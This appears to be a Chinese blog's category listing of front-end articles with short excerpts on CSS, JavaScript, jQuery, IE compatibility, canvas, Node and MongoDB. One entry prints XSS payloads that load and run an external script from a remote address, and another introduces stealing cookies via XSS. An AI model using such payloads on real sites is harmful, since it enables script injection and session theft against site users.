前端
文章平均质量分 61
binggoogle
这个作者很懒,什么都没留下…
展开
-
supervisord安装,启动/关闭,添加开机自启动服务
centos7安装supervisord#yum -y install supervisor安装路径/usr/bin/supervisord,配置文件/etc/supervisor.conf一、手动启动/关闭supervisor手动启动:#/usr/bin/supervisord -c /etc/supervisor.原创 2016-11-17 17:59:59 · 22282 阅读 · 0 评论 -
Javascript 转换&#x的unicode编码字符
汉字转换为unicode: obj.value=obj.value.replace(/[^\u0000-\u00FF]/g,function($0){return escape($0).replace(/(%u)(\w{4})/gi,"&#x$2;")});unicode转换为汉字:obj.value=unescape(obj.value.replace(/&#x/g,'%u').re转载 2016-04-11 16:31:36 · 1677 阅读 · 0 评论 -
javascript处理HTML的Encode(转码)和Decode(解码)总结
HTML的Encode(转码)和解码(Decode)在平时的开发中也是经常要处理的,在这里总结了使用javascript处理HTML的Encode(转码)和解码(Decode)的常用方式一、用浏览器内部转换器实现转换1.1.用浏览器内部转换器实现html转码 首先动态创建一个容器标签元素,如DIV,然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textCont转载 2016-04-26 15:06:02 · 1005 阅读 · 0 评论 -
20160321-20160325 浏览器兼容性问题
chrome:1. input:focus 设置Border样式无效,有一层绿色外围框包裹;使用outline:none解决outline (轮廓)是绘制于元素周围的一条线,位于边框边缘的外围,可起到突出元素的作用。注释:轮廓线不会占据空间,也不一定是矩形。outline 简写属性在一个声明中设置所有的轮廓属性。可以按顺序设置如下属性:outline-coloroutl原创 2016-03-25 16:49:11 · 665 阅读 · 0 评论 -
JS Array.reverse 将数组元素颠倒顺序
//JS Array.reverse 将数组元素颠倒顺序//在JavaScript中,Array对象的reverse()方法将颠倒(反转)数组中元素的顺序。arr.reverse()在原数组上实现这一功能,即,reverse()会改变原数组。//例1:var arr = ["f","e","i","e","s","o","f","t"];document.writeln(arr.j转载 2016-03-10 16:02:34 · 85827 阅读 · 0 评论 -
css-元素水平、竖直居中
一、水平居中1.文本图片水平居中给父级元素设置text-align:center;2.确定宽度的块级元素居中设置自身margin-left:auto;margin-right:auto;别忘了设置自身宽度;3.不确定宽度的块级元素的居中(1)用table帮助实现不确定宽度块级元素居中块级元素设置table元素margin-left:auto;margin-right转载 2016-02-23 18:59:31 · 477 阅读 · 0 评论 -
JS 数组去重
原文:https://github.com/lifesinger/blog/issues/113对于数组去重,只要写过程序的,立刻就能得到第一个解法:function unique(arr) { var ret = [] for (var i = 0; i arr.length; i++) { var item = arr[i] if (ret.in转载 2016-03-31 10:27:15 · 249 阅读 · 0 评论 -
css3 animation 中的 steps
animation steps达到文字逐个输入的效果@keyframes typing { from { width: 0; } } @keyframes blink-caret { 50% { border-color: transparent; } }h1 { font: bold 200% Consolas, Monaco, monospace;转载 2016-02-20 15:31:07 · 3845 阅读 · 0 评论 -
7个CSS单位
一、重温em body {font-size: 12px;} div {font-size: 1.5em;} Test-01 (12px * 1.5 = 18px) Test-02 (18px * 1.5 = 27px) Tes转载 2016-02-20 15:03:10 · 302 阅读 · 0 评论 -
HTMl5的sessionStorage和localStorage
html5中的Web Storage包括了两种存储方式:sessionStorage和localStorage。sessionStorage用于本地存储一个会话(session)中的数据,这些数据只有在同一个会话中的页面才能访问并且当会话结束后数据也随之销毁。因此sessionStorage不是一种持久化的本地存储,仅仅是会话级别的存储。而localStorage用于持久化的本地存储,除非转载 2016-02-18 17:52:26 · 242 阅读 · 0 评论 -
ajax 和jsonp 不是一码事 细读详解
http://blog.csdn.net/superhosts/article/details/9057301JSON是一种数据交换格式,而JSONP是一种依靠开发人员的聪明才智创造出的一种非官方跨域数据交互协议。JSON的优点:1、基于纯文本,跨平台传递极其简单;2、Javascript原生支持,后台语言几乎全部支持;3、轻量级数据格式,占用字符数量极转载 2016-02-18 16:42:47 · 2913 阅读 · 0 评论 -
Javascript 事件冒泡捕获实验
(1)冒泡型事件:事件按照从最特定的事件目标到最不特定的事件目标(document对象)的顺序触发。 IE 5.5: div -> body -> document IE 6.0: div -> body -> html -> document Mozilla 1.0: div -> body -> html -> document -> window(2)捕获型事件(eve原创 2016-02-17 17:34:04 · 367 阅读 · 0 评论 -
js forEach
forEach这种方法是一个JavaScript扩展到ECMA-262标准;因此它可能不存在在标准的其他实现。两种常见的形式1. http://www.jb51.net/article/67441.htm12345678910111213141516171819202122232转载 2016-02-17 11:21:09 · 451 阅读 · 0 评论 -
jQuery绑定事件的四种方式
http://www.51edu.com/it/bckf/35687.htmlhttp://blog.csdn.net/yeliping2011/article/details/7407389jQuery绑定事件的四种方式jQuery提供了多种绑定事件的方式,每种方式各有其特点,明白了它们之间的异同点,有助于我们在写代码的时候进行正确的选择,从而写出优雅而容易维护的代码。下转载 2016-02-16 17:22:59 · 5173 阅读 · 0 评论 -
jquery ajax超时设置
var ajaxTimeoutTest = $.ajax({ url:'', //请求的URL timeout : 1000, //超时时间设置,单位毫秒 type : 'get', //请求方式,get或post data :{}, //请求所传参数,json格式 dataType:'json',//返回的数据格式 success:function(da转载 2016-02-03 09:48:18 · 461 阅读 · 0 评论 -
websocket
web应用 客户端和服务端建立长连接,获取实时状态两种常见的方法,一是ajax请求并设置延时,等待服务端返回,服务端收到数据设置睡眠等待数据更新,超时则返回无数据更新;二是websocket 比较好的实例:http://www.ibm.com/developerworks/cn/java/j-lo-WebSocket/http://my.oschina.net/u/1266原创 2016-02-01 15:07:56 · 607 阅读 · 0 评论 -
禁止页面缓存的几种方法
html只要加在头部就可以了.代码如下: asp教程做法代码如下:Response.Buffer = True Response.ExpiresAbsolute = Now() - 1 Response.Expires = 0 Response.CacheControl = "no-cache" Response.A转载 2015-12-23 16:34:54 · 2598 阅读 · 0 评论 -
CSS浮动(float,clear)通俗讲解
原文:http://www.cnblogs.com/iyangyuan/archive/2013/03/27/2983813.html比较不错的一个文章,通俗易懂 首先要知道,div是块级元素,在页面中独占一行,自上而下排列,也就是传说中的流。如下图: 可以看出,即使div1的宽度很小,页面中一行可以容下div1和div2,div2也转载 2015-12-21 23:33:11 · 345 阅读 · 0 评论 -
CSS浏览器兼容性问题,2
1. Sass中写css hack$hack_ie7:'+';#iditem{ #{$hack_ie7}display: inline; } 2. Volecity foreach获取下标和size$!{velocityCount}数量是从1开始的#foreach($fundDet in $!list) $!{velocityCount}原创 2016-05-30 10:19:43 · 451 阅读 · 0 评论 -
node获取客户端IP
function getClientIp(req) { return req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress;转载 2016-05-05 13:41:57 · 1150 阅读 · 0 评论 -
IE下的haslayout属性
一.hasLayout 是什么?hasLayout 与 BFC 有很多相似之处,但 hasLayout 的概念会更容易理解。在 Internet Explorer 中,元素使用“布局”概念来控制尺寸和定位,分为拥有布局和没有布局两种情况,拥有布局的元素由它控制本身及其子元素的尺寸和定位,而没有布局的元素则通过父元素(最近的拥有布局的祖先元素)来控制尺寸和定位,而一个元素是否拥有布局则由 has转载 2016-05-30 11:13:15 · 418 阅读 · 0 评论 -
ie8支持foreach
if ( !Array.prototype.forEach ) { Array.prototype.forEach = function forEach( callback, thisArg ) { var T, k; if ( this == null ) { throw new TypeError( "this is nul原创 2017-11-09 14:30:29 · 1005 阅读 · 0 评论 -
IE7,8兼容textarea maxlength
判断IE版本后判断字符长度即可Code:$('body').on('keydown','.send-content',function(e){var ieVersion = IEVersion();if(ieVersion != -1 && (ieVersion==7||ieVersion==8)){if($(this).val().length>199){// 删除:46原创 2017-10-18 11:07:41 · 631 阅读 · 0 评论 -
查看html特殊字符编码
var html = [];html.push("");html.push("符号编码符号编码符号编码符号编码");for(var i = 1; i if(i % 4 == 1){html.push("");}html.push("&#" + i + ";&#" + i + ";");if(i % 4 == 0){html.push("");}}转载 2017-02-20 11:26:45 · 906 阅读 · 0 评论 -
canvas实现雪花效果
function SnowAnimate(config){ this.defaultConfig = { canvasId:'mycanvas',//canvas id snowCount:200,//雪花数 radius:4,//半径原创 2016-12-08 10:06:52 · 4993 阅读 · 0 评论 -
IE7下a标签下包含图片时无法点击的问题
代码:1昵称要尽量很长哦 .room-item{ width:146px; height: 206px; float:left; margin-right: 50px;原创 2016-12-07 10:03:04 · 2034 阅读 · 0 评论 -
canvas无法使用rem单位的解决方案
我们在使用canvas时需要设置画布的大小,即设置canvas标签的width,height属性。canvaswidth="200px"height="200px">canvas>在移动端,画布的大小要根据屏幕的大小进行适配,我们一般采用rem结合媒体查询的方式。使用canvas时就遇到遇到一些问题:canvas的width属性不支持rem单位(如果使用样式当然支持re原创 2016-11-04 14:27:13 · 4054 阅读 · 3 评论 -
微信小程序(应用号)资源汇总整理
原文:http://www.cnblogs.com/txw1958/p/wechat-app-summarizing.html开源项目WeApp - 微信小程序版的微信wechat-weapp-redux-todos - 微信小程序集成Redux实现的Todo listwechat-weapp-gank - 微信小程序版Gank客户端wechat-dribbble转载 2016-10-24 00:01:48 · 766 阅读 · 0 评论 -
nodejs mongodb crud
http://www.it165.net/database/html/201502/10819.html目录简介 MongoDB安装(windows) MongoDB基本语法和操作入门(mongo.exe客户端操作) 库操作 插入 查询 修改 删除 存储过程 nodejs操作MongoDB 插入 查询 修改 删除 调用存储过程 写在之后...简介 MongoDB转载 2016-10-08 23:47:17 · 639 阅读 · 0 评论 -
escape()、encodeURI()、encodeURIComponent()区别详解
JavaScript中有三个可以对字符串编码的函数,分别是: escape,encodeURI,encodeURIComponent,相应3个解码函数:unescape,decodeURI,decodeURIComponent 。下面简单介绍一下它们的区别1 escape()函数定义和用法 escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。 语法转载 2016-08-01 14:21:03 · 378 阅读 · 0 评论 -
xss其他标签下的js用法总结大全
xss其他标签下的js用法总结大全https://www.91ri.org/16155.html前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为实际上我们的测试语句可能为↓alert("90sec")也就是说js语句实际上是位于↓的中间。包括、、、、、、标签等情况下的xss构造。所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用就很麻转载 2016-07-25 13:24:31 · 6150 阅读 · 0 评论 -
node如何获取本机local ip
记录一下node如何获取本机local的ip: Js代码 function getIPAdress(){ var interfaces = require('os').networkInterfaces(); for(var devName in interfaces){ var iface = inter转载 2016-07-23 18:15:56 · 10122 阅读 · 0 评论 -
XSS调用外部JS
jquery和原生两种方法: 1. onload="jQuery.getScript('JS Address') 2. " onload="with(document)body.appendChild(createElement('script')).src='http://172.16.96.13/js/xss.js'"原创 2016-06-14 14:48:08 · 3181 阅读 · 0 评论 -
jquery获取iframe的document对象
document.getElementById('myf').contentWindow.document原创 2016-06-28 19:07:51 · 2776 阅读 · 0 评论 -
前端构建工具gulpjs的使用介绍及技巧
gulpjs是一个前端构建工具,与gruntjs相比,gulpjs无需写一大堆繁杂的配置参数,API也非常简单,学习起来很容易,而且gulpjs使用的是nodejs中stream来读取和操作数据,其速度更快。如果你还没有使用过前端构建工具,或者觉得gruntjs太难用的话,那就尝试一下gulp吧。本文导航:gulp的安装开始使用gulpgulp的API介绍一些常用的gulp插件转载 2016-05-18 17:56:34 · 327 阅读 · 0 评论 -
深入解析CSS样式层叠权重值
读到《重新认识CSS的权重》这篇,鬼哥在文章最后给出了便于记忆的顺序:“important > 内联 > ID > 类 > 标签 | 伪类 | 属性选择 > 伪对象 > 通配符 > 继承”。那么这个顺序是怎么得出来的呢?实际上在CSS2规范关于具体性(specificity)的定义中,描述是非常明确的,但是很多中文版本的 CSS 图书中采用了 10 进制的简单相加计算方式(包括第一版《CSS转载 2016-05-17 13:56:37 · 512 阅读 · 0 评论 -
mongodb 数据库操作--备份 还原 导出 导入
mongodb数据备份和还原主要分为二种,一种是针对于库的mongodump和mongorestore,一种是针对库中表的mongoexport和mongoimport。一,mongodump备份数据库1,常用命令格1mongodump -h IP --port 端口 -u 用户名 -p 密码 -d 数据库 -o 文件存在路径转载 2016-05-30 13:26:29 · 376 阅读 · 0 评论 -
JQuery实现的AJAX跨域问题
比较不错的两篇文章:1. http://www.cnblogs.com/benwu/archive/2012/12/25/2832981.html function TestAjax() { $.ajax({ type : "get", async : false, url : "ajaxHandler.a转载 2015-12-03 16:51:53 · 389 阅读 · 0 评论 -
12 个非常实用的 jQuery 代码片段
http://www.codeceo.com/article/12-useful-jquery-code.html1. 导航菜单背景切换效果在项目的前端页面里,相对于其它的导航菜单,激活的导航菜单需要设置不同的背景。这种效果实现的方式有很多种,下面是使用JQuery实现的一种方式: 导航一 导航二 导航三//注意:代码需要修饰完善$('#na转载 2015-11-02 23:27:20 · 307 阅读 · 0 评论 -
js, jquery实践中遇到的方法_20150408
1. jQuery 事件 - keyup() 方法完整的 key press 过程分为两个部分,按键被按下,然后按键被松开并复位。当按钮被松开时,发生 keyup 事件。它发生在当前获得焦点的元素上。keyup() 方法触发 keyup 事件,或规定当发生 keyup 事件时运行的函数。注释:如果在文档元素上进行设置,则无论元素是否获得焦点,该事件都会发生。$(docu转载 2015-04-08 11:22:33 · 333 阅读 · 0 评论